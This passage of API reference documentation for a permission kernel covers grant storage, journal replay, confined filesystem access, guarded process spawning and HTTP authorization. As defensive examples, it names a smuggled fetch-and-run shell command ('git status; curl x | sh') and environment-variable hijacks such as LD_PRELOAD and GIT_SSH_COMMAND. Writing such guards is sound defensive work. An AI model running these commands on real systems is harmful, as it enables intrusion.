`maximumPersistMillis`; a write that never returns is interrupted at the
deadline and reported as `journal_failed`.

### GrantStore.make and GrantStore.layer

```ts
const make: (
  options?: MakeOptions
) => Effect.Effect<Service, GrantStoreError, Scope.Scope | Workspace>

const layer: (options?: MakeOptions) => Layer.Layer<GrantStore, GrantStoreError, Workspace>
```

Builds an in-memory store. It is scoped: closing the scope rejects every waiter
with `permission_denied` and `"grant store closed"`, clears the pending map,
and fails every later call with `store_closed`. Invalid options fail with
`invalid_resolution`.

### GrantStore.makeNoop and GrantStore.layerNoop

```ts
const makeNoop: Service
const layerNoop: Layer.Layer<GrantStore>
```

An explicit allow-all seam for tests and boot paths. Not a production policy.

### GrantStore.canonicalEnvelopePatterns

```ts
const canonicalEnvelopePatterns: (
  patterns: ReadonlyArray<CapabilityPattern>
) => ReadonlyArray<CapabilityPattern>
```

Deduplicates an envelope's predicates and sorts the survivors by the code-unit
order of `Capability.format(pattern)`. An envelope is a set, so canonicalizing
makes idempotency structural rather than dependent on caller discipline.

### GrantStore.envelopeSignature

```ts
const envelopeSignature: (
  planDigest: string,
  scope: "run" | "remembered",
  patterns: ReadonlyArray<CapabilityPattern>
) => string
```

The canonical identity of an approval. Two envelopes with the same plan digest,
scope, and predicate set produce the same signature regardless of order or
repetition, which is how the store and journal replay recognise an envelope
that is already durable.

### GrantStore.isValidGrantPattern

```ts
const isValidGrantPattern: (
  pattern: CapabilityPattern,
  capability: Capability,
  tier: EffectTier,
  workspaceRoot: string
) => boolean
```

Whether a request-scoped grant pattern stays within the request. It refuses a
different action, a more dangerous effect tier than the request displayed, and
a wildcard-bearing pattern identical to the resource, which is ambiguous
because the grammar has no escape.

### GrantStore.isValidEnvelopePattern

```ts
const isValidEnvelopePattern: (pattern: CapabilityPattern, workspaceRoot: string) => boolean
```

Whether a bulk envelope pattern preserves exact action and filesystem
effect-tier boundaries.

### GrantStore limits

```ts
const maximumRules = 1_024
const maximumEnvelopePatterns = 256
const maximumPendingRequests = 1_024
const maximumMetadataDepth = 16
const maximumMetadataMembers = 1_024
const maximumMetadataBytes = 65_536
const maximumEventBytes = 262_144
const maximumPersistMillis = 30_000
const maximumIdentityLength = 4_096
const maximumCapabilityResourceLength: number // Capability.maxResourceLength
```

Every bound failure uses `invalid_resolution` and occurs before state or
journal authority changes. `maximumPersistMillis` instead bounds time: a
journal write that exceeds it fails the admission with `journal_failed`
without activating the decision.

## GrantEvent

The durable wire shapes a decision is persisted as. The union has exactly five
members and no other event type is replayed.

### GrantEvent.GrantTier and GrantEvent.GrantScope

```ts
const GrantTier: Schema.Literals<["sealed", "compensable", "irreversible"]>
const GrantScope: Schema.Literals<["once", "run", "remembered"]>
```

### GrantEvent.OnceGrant

```ts
class OnceGrant extends Schema.TaggedClass<OnceGrant>()("@smthrs/kernel/GrantEvent/OnceGrant", {
  eventType: Schema.Literal("flows.kernel.grant.once.v1")
  requestId: Schema.String
  runId: Schema.String
  planDigest: Schema.optional(Schema.String)
  capability: Capability
  pattern: CapabilityPattern
  scope: Schema.Literal("once")
  tier: GrantTier
}) {}
```

Durable audit evidence, deliberately never replayed as active authority.

### GrantEvent.RunGrant

```ts
class RunGrant extends Schema.TaggedClass<RunGrant>()("@smthrs/kernel/GrantEvent/RunGrant", {
  eventType: Schema.Literal("flows.kernel.grant.run.v2")
  requestId: Schema.String
  runId: Schema.String
  planDigest: Schema.String
  capability: Capability
  pattern: CapabilityPattern
  ceiling: Schema.Array(Schema.Array(CapabilityPattern))
  scope: Schema.Literal("run")
  tier: GrantTier
}) {}
```

Replayed as active authority only for its own run and the current plan digest.
`ceiling` stores the requesting fiber's normalized conjunction of any-of pattern
groups. An empty outer array is unrestricted; an empty inner group denies all.
Replay intersects this ceiling with the constructor's ceiling. Trusted legacy
`flows.kernel.grant.run.v1` entries fail construction with `invalid_resolution`
because their captured ceiling cannot be recovered.

Both `RunGrant` and `EnvelopeGrant` require `planDigest`; other members make it optional.

### GrantEvent.RememberedGrant

```ts
class RememberedGrant extends Schema.TaggedClass<RememberedGrant>()(
  "@smthrs/kernel/GrantEvent/RememberedGrant",
  { eventType: Schema.Literal("flows.kernel.grant.remembered.v1") /* as OnceGrant, scope "remembered" */ }
) {}
```

Lives in the dedicated policy run and is replayed into later processes.

### GrantEvent.DeniedGrant

```ts
class DeniedGrant extends Schema.TaggedClass<DeniedGrant>()("@smthrs/kernel/GrantEvent/DeniedGrant", {
  eventType: Schema.Literal("flows.kernel.grant.denied.v1") /* as OnceGrant */
}) {}
```

Audit evidence for a refusal. Like `OnceGrant`, it activates nothing on replay.

### GrantEvent.EnvelopeGrant

```ts
class EnvelopeGrant extends Schema.TaggedClass<EnvelopeGrant>()("@smthrs/kernel/GrantEvent/EnvelopeGrant", {
  eventType: Schema.Literal("flows.kernel.grant.envelope.v1")
  runId: Schema.String
  planDigest: Schema.String
  patterns: Schema.Array(CapabilityPattern)
  scope: Schema.Literals(["run", "remembered"])
}) {}
```

Not attached to any request. `planDigest` binds the decision to the plan shown
to the approver.

### GrantEvent.GrantEventSchema, decode, and encode

```ts
const GrantEventSchema: Schema.Union<[OnceGrant, RememberedGrant, RunGrant, DeniedGrant, EnvelopeGrant]>
type GrantEvent = typeof GrantEventSchema.Type

const decode: (input: unknown) => Result<GrantEvent, Schema.SchemaError>
const encode: (input: unknown) => Result<unknown, Schema.SchemaError>
```

`decode` is strict about excess properties: an unknown field is a decode
failure, not something to ignore.

## JournalGrantStore

A `GrantStore` that persists to and replays from a
[`@smthrs/journal`](/docs/reference/api/journal/) journal.

### JournalGrantStore.JournalGrantStoreOptions

```ts
interface JournalGrantStoreOptions {
  readonly runId: string
  readonly policyRunId: string
  readonly sourceId: string
  readonly planDigest: string
  readonly attended?: boolean
  readonly rules?: ReadonlyArray<ReadonlyArray<Rule>>
  readonly envelope?: {
    readonly patterns: ReadonlyArray<CapabilityPattern>
    readonly scope?: "run" | "remembered" | undefined
  }
}
```

`policyRunId` is a dedicated run holding remembered-policy events; the journal
has no global grant projection, so keep the id stable to keep remembered grants
across runs. `sourceId` is checked during replay, so events from other
producers cannot activate kernel authority. `planDigest` binds run grants and
run envelopes to the active plan. `runId` and `policyRunId` must differ, and
every identity must be non-empty, well-formed, and within
`GrantStore.maximumIdentityLength`.

### JournalGrantStore.make and JournalGrantStore.layer

```ts
const make: (
  options: JournalGrantStoreOptions
) => Effect.Effect<GrantStore.Service, GrantStoreError, Scope.Scope | Journal | Workspace>

const layer: (
  options: JournalGrantStoreOptions
) => Layer.Layer<GrantStore, GrantStoreError, Journal | Workspace>
```

Each decision commits before it is activated. A journal failure is
`journal_failed` and leaves the decision inactive.

Replay accepts only the configured producer and the five known event types,
rejects malformed or mis-scoped events, treats once and denied events as audit
evidence only, activates a run grant only for its run and current plan digest,
and rechecks every replayed pattern for safety. Remembered rules come from the
policy run and are deduplicated by formatted pattern identity. A policy history
past the 1,024-rule ceiling, or past the 1,024-envelope-signature ceiling,
fails closed with a message naming the policy run and the relevant counts. A
construction envelope is refused rather than persisted once the replayed
signatures already fill that ceiling, so the history a later process must
replay cannot outgrow what it will accept.

The journal is authoritative permission storage: `SqlJournal` must use the
`reject` overflow policy, because a dropped grant decision cannot safely be
treated as persisted.

## HostServices

The closed port list and the aggregate decorator.

### HostServices.HostService

```ts
type HostService =
  | FileSystem.FileSystem
  | Path.Path
  | ChildProcessSpawner
  | Jj
  | HttpClient
```

Everything that touches the outside world enters Smithers through exactly one
of these tags: no ambient `node:fs`, no bare `spawn`, no global `Date.now()`.
A service not on the list cannot be attenuated, denied, or audited.

### HostServices.HostServiceTags

```ts
const HostServiceTags: readonly [
  FileSystem.FileSystem,
  Path.Path,
  ChildProcessSpawner,
  Jj,
  HttpClient
]
```

The tags themselves, in slot order.

### HostServices.HostServiceIds

```ts
const HostServiceIds: readonly [
  "effect/FileSystem",
  "effect/Path",
  "effect/process/ChildProcessSpawner",
  "@smthrs/jj/Jj",
  "effect/HttpClient"
]
```

Stable slot identifiers, each the tag key of its slot's service. These are the
names a slot carries in durable records, so they change only when the service
behind a slot changes.

### HostServices.layer

```ts
const layer: Layer.Layer<
  HostService,
  PlatformError,
  HostService | Workspace | GrantStore
>
```

The five decorators merged. Every member both requires and provides its own
slot's tag, so composing this over a raw platform bundle makes the guarded
implementation shadow the raw one for everything downstream:

```text
raw platform service
        |
kernel decorator -> GrantStore
        |
flow-visible service
```

`Workspace` is a requirement so the exact same root service reaches both the
grant store and the filesystem decorator.

## FileSystem

The `fs:read` and `fs:write` decorator over Effect's own `FileSystem` tag, plus
the confinement extensions a host must attach.

### FileSystem.systemTemporaryDirectoryName

```ts
const systemTemporaryDirectoryName = "<system-temp>"
```

The sentinel an implicit temporary directory is named with. An implicit
`makeTempDirectory`, `makeTempDirectoryScoped`, `makeTempFile`, or
`makeTempFileScoped` is authorized as `fs:write` on
`path.resolve(workspace.root, "..", systemTemporaryDirectoryName)`. That path
is outside the workspace root by construction, so granting an ordinary
workspace write does not grant system temporary-directory access.

### FileSystem.AtomicFileSystemTypeId, AtomicRoot, AtomicRequest, Resolution, AtomicBatchRequest, AtomicBatchValue, AtomicBatchResponse, AtomicResults, AtomicResult, AtomicHandlers, AtomicFileSystem, AtomicHostFileSystem

```ts
const AtomicFileSystemTypeId: unique symbol

interface AtomicRoot {
  readonly boundaryRoot?: string | undefined
  readonly logicalRoot?: string | undefined
  readonly rootIdentity?: string | undefined
}

type AtomicRequest =
  | (AtomicRoot & { readonly operation: "exists"; readonly path: string })
  | (AtomicRoot & {
    readonly operation: "glob"
    readonly pattern: string
    readonly root: string
    readonly options?: { readonly exclude?: ReadonlyArray<string> | undefined } | undefined
  })
  | (AtomicRoot & { readonly operation: "rename"; readonly from: string; readonly to: string })
  | (AtomicRoot & { readonly operation: "resolve"; readonly path: string })
  | (AtomicRoot & { readonly operation: "batch"; readonly requests: ReadonlyArray<AtomicBatchRequest> })
// ...one member per operation: makeDirectory, readDirectory, readFile,
// readFileString, readLink, realPath, remove, stat, writeFile, writeFileString

interface Resolution {
  readonly path: string
  readonly target: string | null
}

type AtomicBatchRequest = BatchRequest | { readonly operation: "resolve"; readonly path: string }
type AtomicBatchValue = BatchValue | { readonly operation: "resolve"; readonly resolution: Resolution }
// AtomicBatchResponse: BatchResponse whose entries carry AtomicBatchValue

interface AtomicResults {
  readonly exists: boolean
  readonly glob: Array<string>
  readonly readFile: Uint8Array
  readonly stat: FileSystem.File.Info
  readonly rename: void
  readonly resolve: Resolution
  readonly batch: AtomicBatchResponse
  // ...one entry per operation
}

type AtomicResult<R extends AtomicRequest> = AtomicResults[R["operation"]]

type AtomicHandlers = {
  readonly [K in keyof AtomicResults]: (
    request: Extract<AtomicRequest, { readonly operation: K }>
  ) => Effect.Effect<AtomicResults[K], PlatformError>
}

interface AtomicFileSystem {
  readonly noFollowAuthorization?: true | undefined
  readonly execute: <R extends AtomicRequest>(request: R) => Effect.Effect<AtomicResult<R>, PlatformError>
  readonly isolated?: FileSystem.FileSystem | undefined
}

type AtomicHostFileSystem = FileSystem.FileSystem & {
  readonly [AtomicFileSystemTypeId]: AtomicFileSystem
}
```

The host-private extension for race-free, descriptor-relative operations. A
plain path-based filesystem cannot provide confinement, because an attacker can
replace any checked component before the delegate resolves it. `isolated` is
the escape hatch for a filesystem already confined by an enforceable boundary,
used for methods not expressible as one descriptor-relative request.

A request is discriminated by `operation` and carries exactly the operands that
operation needs, and `execute` answers the result that operation names rather
than a type its caller picked. The wire shape is unchanged: every member is the
same flat JSON object, so a journaled or serialized request still decodes. An
executor that dispatches in process can be written as an `AtomicHandlers`
record, which does not compile while an operation is unimplemented.

An executor that sets `noFollowAuthorization` answers `resolve`, alone and as
a batch member, and the guarded layer authorizes through it instead of host
pathnames. `resolve` walks from the pinned root without following any link. When
`target` is `null`, `path` is the whole request in on-disk spelling, with a
missing component and its descendants as requested. Otherwise `path` is the
first link on the way and `target` is its text.

### FileSystem.withAtomicFileSystem

```ts
const withAtomicFileSystem: (
  fileSystem: FileSystem.FileSystem,
  atomic: AtomicFileSystem
) => AtomicHostFileSystem
```

Attaches a trusted platform's descriptor-relative executor to its service. The
executor is attached to the supplied object and the same identity is returned,
so a host attaches exactly once at its boundary and retains no undecorated
alias.

### FileSystem.withIsolatedFileSystem

```ts
const withIsolatedFileSystem: (fileSystem: FileSystem.FileSystem) => AtomicHostFileSystem
```

Attests that a filesystem is confined as a whole, for browser and test volumes
that cannot address the host filesystem at all. **Throws** on a filesystem that
already carries a descriptor-relative executor: that executor is the stronger
guarantee, and a path-delegating attestation would route `access`, `copy`,
`chmod`, `link`, `symlink`, `open`, `watch`, `sink`, `stream`, and every
`makeTemp*` call back through pathnames after the capability check.

### FileSystem.FileSystemFault

```ts
class FileSystemFault extends Schema.TaggedError<FileSystemFault>()("@smthrs/kernel/FileSystemFault", {
  code: "executor_already_present" | "isolated_operation_unsupported" | "workspace_identity_changed"
  message: string
})
```

The tagged failure of a broken composition. `withIsolatedFileSystem` throws
`executor_already_present`. A guarded batch whose root no longer names the
authorized descriptor reports `workspace_identity_changed` as the `cause` of a
`Busy` `PlatformError`. `isolated_operation_unsupported` is a defect: an
attested volume never advertises `resolve` or `batch`.

### FileSystem.confined

```ts
const confined: (
  fileSystem: FileSystem.FileSystem,
  root: string
) => Effect.Effect<FileSystem.FileSystem, PlatformError, Path.Path>

const isConfinable: (fileSystem: FileSystem.FileSystem) => boolean

const requireConfinable: (fileSystem: FileSystem.FileSystem, root: string) => Effect.Effect<void, PlatformError>

const confinedRoot: (fileSystem: FileSystem.FileSystem) => string | undefined
```

A filesystem view confined to `root` without capability checks, for engine
machinery that must not ask a grant store about its own bookkeeping but must
never be redirected outside the workspace. Every path operation is one
`AtomicRequest` against `root`, pinned when the view is built by canonical path
and `device:inode` identity: the same request the guarded `layer` sends, minus
the grant check. A symlink on the path, a hard-linked file, `..` traversal, or
a replaced root is refused by the host, never followed. The root must exist.

An isolated volume, or the guarded `layer` service rooted at the same
workspace, is returned as it is. A path-based host fails with
`PermissionDenied`, as do `open`, `stream`, `sink`, `copy`, `link`, `symlink`,
`watch`, `truncate`, `utimes`, `access`, and every `makeTemp*` call.
`isConfinable` and `requireConfinable` answer the same question at composition
time, before the root is known to exist.
`confinedRoot` names the root a filesystem is already confined to (a
`confined` view's pinned root, or the guarded `layer` service's workspace
root), and is `undefined` for any other filesystem, so machinery sharing a
filesystem with its caller confines to the root the caller's paths resolve
against.

### FileSystem.canonicalResource

```ts
const canonicalResource: (
  fileSystem: FileSystem.FileSystem,
  path: Path.Path,
  workspaceRoot: string,
  value: string
) => Effect.Effect<string, PlatformError>
```

Resolves a path through every existing ancestor and maps a canonical path
inside the workspace back to the stable logical workspace root, so an existing
symlink cannot turn an inside-workspace grant into outside authority while
resources stay stable when the root itself is a symlink.

### FileSystem.layer

```ts
const layer: Layer.Layer<
  FileSystem.FileSystem,
  PlatformError,
  FileSystem.FileSystem | Path.Path | Workspace | GrantStore
>
```

The decorator. Before a grant check it resolves the canonical resource and
refuses unsafe hard-linked files. After any grant suspension it resolves the
resource again and refuses if the path now names something else. Open handles
bind authorization to the descriptor's `device:inode` identity and recheck it
on guarded handle operations. Option records, nested arrays, and maps are
snapshotted before any suspension. A host declaring neither extension fails
every relevant path, directory, stream, glob, and handle operation closed.

Refusals are `PlatformError` with reason `PermissionDenied`, carrying the
kernel failure on `cause`; `Permission.fromPlatformError` reads it back.

## ChildProcessSpawner

The `proc:spawn` decorator over Effect's own spawner tag.

### ChildProcessSpawner.ChildProcessSpawner and make

```ts
export { ChildProcessSpawner, make } from "effect/process/ChildProcessSpawner"
```

Effect's tag and constructor, re-exported unchanged so the kernel namespace
stays one-stop. `make` derives the full six-method surface from one `spawn`, so
`exitCode`, `string`, `lines`, and both `stream` helpers can never bypass what
`spawn` was given.

### ChildProcessSpawner.makeNoop and layerNoop

```ts
const makeNoop: (overrides?: Partial<ChildProcessSpawner["Service"]>) => ChildProcessSpawner["Service"]
const layerNoop: (overrides?: Partial<ChildProcessSpawner["Service"]>) => Layer.Layer<ChildProcessSpawner>
```

An unavailable spawner. Every derived helper reports the missing host as a
`NotFound` `PlatformError` naming the command line, so an unconfigured
capability answers rather than vanishing.

### ChildProcessSpawner.ambientEnvironment

```ts
const ambientEnvironment: () => Readonly<Record<string, string | undefined>>
```

The environment this process holds, which a child built with
`ChildProcessEnvironment.make` inherits its bootstrap names from. It is `{}` on
a host with no process environment, such as a browser or a Cloudflare Worker.
Library code that builds a child's environment, or names a host directory a
child uses, reads it here rather than from the `process` global, so it still
imports and runs on every host.

### ChildProcessSpawner.layer

```ts
const layer: Layer.Layer<
  ChildProcessSpawner,
  never,
  ChildProcessSpawner | GrantStore | Path.Path | Workspace
>
```

The decorator. The check is suspended into the spawn itself, so building a
`Command` or a stream neither requests permission nor starts a process. The
check runs once per pipeline stage, left to right, before any stage starts.
Each stage's resource is `CommandLine.resource(stage, context)`: the rendered
line, with a `shell: true` line that holds shell control syntax marked as
`sh -c '<line>'`, environment overrides the child would not inherit named in an
`env <NAME>… --` prefix, and a working directory outside `Workspace.root`
named in a `cwd <path> --` prefix. When the host filesystem is in the layer's
context, both are compared by real path: a symlink inside the workspace that
leads out of it is named as its target, and a root reached through
`/private` on macOS still counts as inside. The spawner passes this process's
environment as `context.ambient`. Pipeline `from`/`to` routing is not part of
what a grant authorizes. `cwd` and the **names** of overridden environment
variables also reach an attended surface as display metadata; the values do
not. A
command that cannot be snapshotted fails with an `InvalidData` `PlatformError`.
A command with no `cwd`, or a relative one, runs in `Workspace.root`, never the
process's own directory, and the check sees that resolved directory.

## ProcessConfinement

The host service required for guarded processes, imported from
`@smthrs/kernel/ProcessConfinement`.
After every process permission check succeeds, `ChildProcessSpawner.layer`
derives one profile and wraps every pipeline stage before spawning anything.
Absent this service, spawning fails with a `NotFound` `PlatformError` before
any child starts. `layerNoop` explicitly opts out of OS confinement. Wrapper
failures start no child.

```ts
interface Profile {
  readonly workspaceRoot: string
  readonly reads: ReadonlyArray<string>
  readonly writes: ReadonlyArray<string>
  readonly readOnly: ReadonlyArray<string>
  readonly network: "none" | "open"
}
interface Service {
  readonly confine: (
    command: ChildProcess.StandardCommand,
    profile: Profile
  ) => Effect.Effect<ChildProcess.StandardCommand, PlatformError, Scope.Scope>
}
class ProcessConfinement extends Context.Service<ProcessConfinement, Service>()(
  "@smthrs/kernel/ProcessConfinement"
) {}
const profile: (
  grants: GrantStore.Service,
  workspaceRoot: string,
  path: Path.Path
) => Effect.Effect<Profile, GrantStoreError>
const makeNoop: Service
const layerNoop: Layer.Layer<ProcessConfinement>
```

Paths are workspace-relative, with `.` naming the root. Projection proves a
subset of effective authority using whole-tree coverage, configured deny
precedence and captured/current ceilings. Literal filesystem permissions and
complex globs open no tree unless a separate whole-tree grant covers it.
Universal `*` and `**` resources cover the workspace. Writable trees also
require read authority over the same tree and write authority for its directory
entry. Native writable mounts expose existing data and directory metadata.
Unrepresentable refusals conservatively close affected access; `readOnly` is
currently empty. Narrow tree ceilings can produce a smaller allowed tree.
Network opens only when unrestricted get, post and explicit private authority
are all proved. Restricted egress remains closed. Host confinement may also
provide system reads needed to launch programs and mask credential paths.
`makeNoop` and `layerNoop` explicitly choose unconfined execution.

## ChildProcessEnvironment

Least-authority construction for a child process's replacement environment.

| Export                  | Type                                             | Meaning                                                                                                                                            |
| ----------------------- | ------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| `inheritedNames`        | `ReadonlyArray<string>`                          | `PATH`, `HOME`, `USER`, `LANG`, `TERM`, `TMPDIR`, and `SHELL`; `LC_*` is admitted by prefix.                                                       |
| `credentialNamePattern` | `RegExp`                                         | The credential-name rule shared with `@smthrs/model/Auth`, including complete or separator-delimited `token`, `key`, `key_id`, and `pat` suffixes. |
| `isCredentialName`      | `(name: string) => boolean`                      | Tests one name against that rule.                                                                                                                  |
| `isInheritedName`       | `(name: string) => boolean`                      | Tests one name against `inheritedNames` and the `LC_*` prefix, case-insensitively.                                                                 |
| `make`                  | `(ambient, declared?) => Record<string, string>` | Selects bootstrap names, withholds sensitive ambient names, and overlays explicit declarations.                                                    |

`make` returns a null-prototype record suitable for `CommandOptions.env` with
`extendEnv: false`. An explicitly declared name is applied last, even when it
looks sensitive; an `undefined` declaration removes an inherited name.

## ContainedSpawner

Kill deadlines, platform lifecycle preparation, and ledger recording over the same spawner tag.

### ContainedSpawner.defaultGraceMs

```ts
const defaultGraceMs = 2000
```

Milliseconds between the `SIGTERM` that asks a child to stop and the `SIGKILL`
that makes it.

### ContainedSpawner.Options

```ts
interface Options {
  readonly graceMs?: number | undefined
  readonly platform?: string | undefined
}
```

`platform` is `process.platform` spelling, and decides only whether a command
naming no `detached` option gets a process group of its own. It defaults to
`"linux"`, the detaching branch.

### ContainedSpawner.Lifecycle

```ts
type Lifecycle = (
  command: ChildProcess.StandardCommand,
  spawn: (command: ChildProcess.StandardCommand) => Effect.Effect<ChildProcessHandle, PlatformError, Scope>
) => Effect.Effect<
  {
    readonly handle: ChildProcessHandle
    readonly activate: Effect.Effect<void, PlatformError, Scope>
    readonly settled: Effect.Effect<boolean>
  },
  PlatformError,
  Scope
>
```

Preparation owns cleanup before it can fail or be interrupted. It returns an
identity to record and an idempotent `activate` effect. The kernel records
that identity with the executable it prepared before activation can execute
the target. Failed startup closes its child scope immediately; successful
startup attaches the whole logical command to the caller's scope. Only
`settled === true` permits ledger retirement. A target exit alone does not
prove its children ended.

Node and Bun hosts install `ProcessReaper.layerSpawner` from
`@smthrs/platform-node`, which composes the native adapter with
`ProcessReaper.processLifecycle`. Use that factory for a smaller Node/Bun
composition, or provide a lifecycle explicitly when implementing a custom host.

### ContainedSpawner.isContained

```ts
const isContained: (spawner: ChildProcessSpawner["Service"]) => boolean
```

Checks whether the service declares a platform lifecycle. A deadline-only
wrapper does not qualify. The declaration interoperates across ESM and CommonJS
and is preserved by the kernel permission decorator. It is a trusted
composition check, not proof that a caller-supplied lifecycle is honest.

### ContainedSpawner.withContainment

```ts
const withContainment: (command: ChildProcess.Command, options?: Options) => ChildProcess.Command
```

Rewrites a command to carry the escalation deadline. Both legs of a pipeline
receive it; a command that already names `killSignal` or `forceKillAfter` keeps
the policy its caller chose.

### ContainedSpawner.groupOf

```ts
const groupOf: (command: ChildProcess.Command, pid: number, platform?: string) => number | null
```

The process group to record, or `null` when the child leads none. It takes the
platform because Effect detaches a child that names no `detached` option
everywhere except win32, and a win32 record claiming `pgid === pid` would name
a group the child does not lead.

### ContainedSpawner.layer

```ts
const layer: (
  options?: Options,
  lifecycle?: Lifecycle
) => Layer.Layer<ChildProcessSpawner, never, ChildProcessSpawner | ProcessLedger>
```

Applies the policy to every spawn. Each pipeline leg is prepared and recorded
separately; the aggregate handle exposes the rightmost leg's output and status.
A failed record prevents target activation and closes the prepared owner's
scope. Startup failure in a later pipeline leg also closes earlier legs.
Cleanup failure or an unverified `settled` result retains the ledger record.

Compose the permission decorator **above** containment so it authorizes the
caller's whole command before expansion. A decorator below containment sees
platform preparation commands, which may differ from the caller's command.
Both layers provide the spawner tag they require, but their order has this
semantic effect.

## ProcessLedger

The host's durable record of the processes it started.

### ProcessLedger event types and identity

```ts
const SpawnedEventType = "flows.host.process-spawned.v1"
const ExitedEventType = "flows.host.process-exited.v1"
const ReapedEventType = "flows.host.process-reaped.v1"
const SkippedEventType = "flows.host.process-reap-skipped.v1"
const sourceId = "@smthrs/kernel/ProcessLedger"
const hostRunId: (hostId: string) => JournalEvent.RunId // `flows.host:${hostId}`
```

Records are ownerless journal entries on the host run. A successful reap and a
safety refusal retire a record with different event types, so an operator can
tell them apart.

### ProcessLedger.Spawned and ProcessRecord

```ts
interface Spawned {
  readonly pid: number
  readonly pgid: number | null
  readonly commandDigest: string
}

const ProcessRecord: Schema.Struct<{
  pid: Schema.Int
  pgid: Schema.NullOr<Schema.Int>
  hostId: Schema.String
  ownerPid: Schema.Int
  startedAtMs: Schema.Int
  commandDigest: Schema.String
}>
type ProcessRecord = typeof ProcessRecord.Type
```

`commandDigest` is the executable alone, as `CommandLine.executable` renders
it. Arguments carry credentials and these records are permanent, so the ledger
never writes one down; a reader that acts on a record matches it by pid and
process group.

### ProcessLedger.Service and ProcessLedger.ProcessLedger

```ts
interface Service {
  readonly record: (spawned: Spawned) => Effect.Effect<ProcessRecord, JournalError>
  readonly release: (record: ProcessRecord) => Effect.Effect<void, JournalError>
  readonly reaped: (record: ProcessRecord) => Effect.Effect<void, JournalError>
  readonly skipped: (record: ProcessRecord, reason: string) => Effect.Effect<void, JournalError>
  readonly live: Effect.Effect<ReadonlyArray<ProcessRecord>>
  readonly orphans: Effect.Effect<ReadonlyArray<ProcessRecord>>
}

class ProcessLedger extends Context.Service<ProcessLedger, Service>()("@smthrs/kernel/ProcessLedger") {}
```

Every write carries the journal's failure to its caller: a swallowed write
leaves a child no incarnation of the host can discover. `live` is this
incarnation's unreleased records; `orphans` replays the host run and returns
the records whose owner pid is not this incarnation's.

### ProcessLedger.Options

```ts
interface Options {
  readonly hostId: string
  readonly ownerPid: number
}
```

### ProcessLedger.make, layer, makeMemory, and layerMemory

```ts
const make: (options: Options) => Effect.Effect<Service, never, Journal>
const layer: (options: Options) => Layer.Layer<ProcessLedger, never, Journal>
const makeMemory: (options: Options) => Effect.Effect<Service>
const layerMemory: (options: Options) => Layer.Layer<ProcessLedger>
```

The journal-backed forms inherit a crashed incarnation's processes; the memory
forms keep only the current incarnation's bookkeeping and inherit nothing.

## CommandLine

One renderer shared by the `proc:spawn` capability resource and the
interpreters that execute the line, so a granted capability and the command a
browser actually runs cannot drift apart. `resource` builds the grant identity
from that same line. The module is pure string handling.

### CommandLine.quote

```ts
const quote: (token: string) => string
```

POSIX-quotes one token, leaving tokens made only of
`A-Za-z0-9_@%+=:,./-` alone.

### CommandLine.render

```ts
const render: (command: ChildProcess.Command) => string
```

Renders a command as one shell line. A standard command with `shell: true`
renders its tokens verbatim; a custom shell renders as an explicit
`<shell> -c <line>` so the selected executable is part of the resource; without
`shell`, every token is quoted to preserve literal argv semantics. A
`PipedCommand` renders with `|` between its sides. `from` and `to` pipe options
are not expressible this way and are ignored, so capability checks see the
commands and never the plumbing. The rendering is POSIX-only by contract.

### CommandLine.resource

```ts
interface ResourceContext {
  readonly ambient?: Readonly<Record<string, string | undefined>>
  readonly contains?: (directory: string) => boolean
}
const resource: (command: ChildProcess.StandardCommand, context?: ResourceContext) => string
const stages: (command: ChildProcess.Command) => ReadonlyArray<ChildProcess.StandardCommand>
```

The `proc:spawn` capability resource for one stage: `render`, with three
additions so a prefix grant such as `git status *` authorizes only what the
stage names.

- A `shell: true` stage whose line holds `;`, `&`, `|`, a backtick, `$`, `<`,
  `>`, `(`, `)`, or a line break is marked as `sh -c '<line>'`. `git status *`
  therefore does not match `git status; curl x | sh`. A simple shell line such
  as `git status --short` keeps its verbatim resource, and so does one that
  only adds an fd duplication (`2>&1`, `>&2`) or a discard to `/dev/null`.
- A stage that sets an environment variable the child would not otherwise
  inherit is prefixed with `env <NAME>… --`, sorted names only. That is every
  name outside the bootstrap set (`ChildProcessEnvironment.isInheritedName`)
  and a bootstrap name (`PATH`, `HOME`, and the rest) whose value differs from
  `context.ambient`. A grant for `git status` does not cover `git status` run
  with `GIT_CONFIG_PARAMETERS`, `GIT_SSH_COMMAND`, `LD_PRELOAD`,
  `NODE_OPTIONS`, or a `PATH` or `HOME` pointing somewhere new; grant
  `env GIT_SSH_COMMAND -- git fetch` to allow that override. Values never
  enter the resource. Omitted, `context.ambient` is empty and every declared
  bootstrap name is named.
- A stage whose `cwd` `context.contains` rejects is prefixed with
  `cwd <path> --`. The spawner's `contains` accepts `Workspace.root` and
  everything below it. Omitted, every `cwd` is named. `context.resolvedCwd`,
  the `cwd` with symlinks resolved, replaces the lexical `cwd` for that check
  and in the prefix.

`stages` lists a command's stages from left to right. A pipeline has no single
resource: the spawner checks every stage, so `git status | sh` needs a grant
for `sh` too.

### CommandLine.executable

```ts
const executable: (command: ChildProcess.Command) => string
```

The program a command runs, without its arguments: `command` itself when no
shell parses it, the leading token of the line when one does, and one name per
stage of a pipeline joined with `|`. Durable process records name their program
this way rather than with `render`, because arguments carry credentials and a
journal entry is permanent.

### CommandLine.cwd and CommandLine.env

```ts
const cwd: (command: ChildProcess.Command) => string | undefined
const env: (command: ChildProcess.Command) => Record<string, string | undefined> | undefined
```

The working directory and environment overrides, taking the leftmost stage of a
pipeline, which is the stage `setCwd` and the spawners treat as the pipeline's
own.

## HttpClient

The `net:get`, `net:post`, and `model:call` decorator over Effect's own HTTP
client tag. There is no Smithers transport port beneath it.

### HttpClient.HttpClient and make

```ts
export { HttpClient, make } from "effect/http/HttpClient"
```

Effect's tag and constructor, unchanged.

### HttpClient.authorizePreflight

`authorizePreflight(request, effect)` checks the ordinary HTTP capability before
running network preflight work such as DNS resolution. The guarded client can
consume that admission once for the same capability and grant store. Redirects,
retries, and different stores require fresh authorization. The effect requires
the host's `GrantStore`, including when the underlying client captures it.

### HttpClient.ModelCall and withModelCall

```ts
const ModelCall: Context.Reference<string | undefined>
const withModelCall: (modelId: string) => <A, E, R>(effect: Effect.Effect<A, E, R>) => Effect.Effect<A, E, R>
```

A model call is not a general `net:*` effect: the same host answers many
models, and a grant for one must not be a grant for the rest. Effect's tag has
no room for an extra method, so the intent rides on a context reference. Inside
`withModelCall`, the action is `model:call` and the resource gains
`/<model id>`.

### HttpClient.toHttpClientError and fromHttpClientError

```ts
const toHttpClientError: (options: {
  readonly request: HttpClientRequest
  readonly error: PermissionError
}) => HttpClientError

const fromHttpClientError: (error: HttpClientError) => Option.Option<PermissionErrorPayload>
```

